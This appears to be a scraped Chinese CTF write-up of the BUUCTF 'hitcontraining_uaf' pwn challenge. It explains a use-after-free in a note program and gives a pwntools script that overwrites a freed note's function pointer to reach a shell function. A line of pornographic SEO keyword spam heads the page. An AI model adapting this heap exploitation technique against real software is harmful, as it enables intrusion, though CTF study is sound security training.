日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[BUUCTF-pwn]——hitcontraining_uaf

發布時間:2024/4/17 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [BUUCTF-pwn]——hitcontraining_uaf 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[BUUCTF-pwn]——hitcontraining_uaf

  • 題目地址:https://buuoj.cn/challenges#hitcontraining_uaf
    題目給了提示,一個利用UAF漏洞的題目

還是先checksec一下

在IDA中,三個比較關鍵的函數


我們可以發現add會申請兩次內存,第一次申請8個字節,前四個字節指向print_note_content這個函數, 后四個字節指向我們寫入的字符串(count會加1)

delete則會將剛才申請的兩塊空間給刪除(count不會減一), 但是并不會指向NULL

printf函數會調用add申請的第一個8個字節中的前四個字節指向的函數

思路

首先我們可以先add兩次第一個我們稱為a, 第二個稱為b, 注意內容的大小一定要超過8, 這里我們取40,分別為A, B

然后delete掉a(free A, a), 再delete b(free B, b), 這個時候如果我們再次add一個c,并且內容大小設為8

那么第一個8個字節c其實就是b, 就是我們第二個8個字節C其實就是a
這個時候我們寫進去的東西就會覆蓋原有的, 但是原先的指針仍然指向它.
我們就可以可以將print_note_content函數, 改為我們想要執行的函數了

(這個因為比較小輸入fast bin范疇, 所以是先進后出.)

from pwn import*p=remote('node3.buuoj.cn',26828) #p = process('./hacknote') #gdb.attach(p) def add(size,content):p.sendlineafter('choice :','1')p.sendlineafter('Note size :',str(size))p.sendlineafter('Content :',content)def delete(index):p.sendlineafter('choice :','2')p.sendlineafter('Index :',str(index))def printf(index):p.sendlineafter('choice :','3')p.sendlineafter('Index :',str(index))shell_addr=0x8048945add(40,'aaaa') add(40,'bbbb') delete(1) delete(0) add(8,p32(shell_addr)) printf(1)#第二種思路大家也可以看一下 #add(8,'aaaa') #delete(0) #delete(0) #add(40,'aaaa') #add(8,p32(shell_addr)) #printf(1)p.interactive()

總結

以上是生活随笔為你收集整理的[BUUCTF-pwn]——hitcontraining_uaf的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。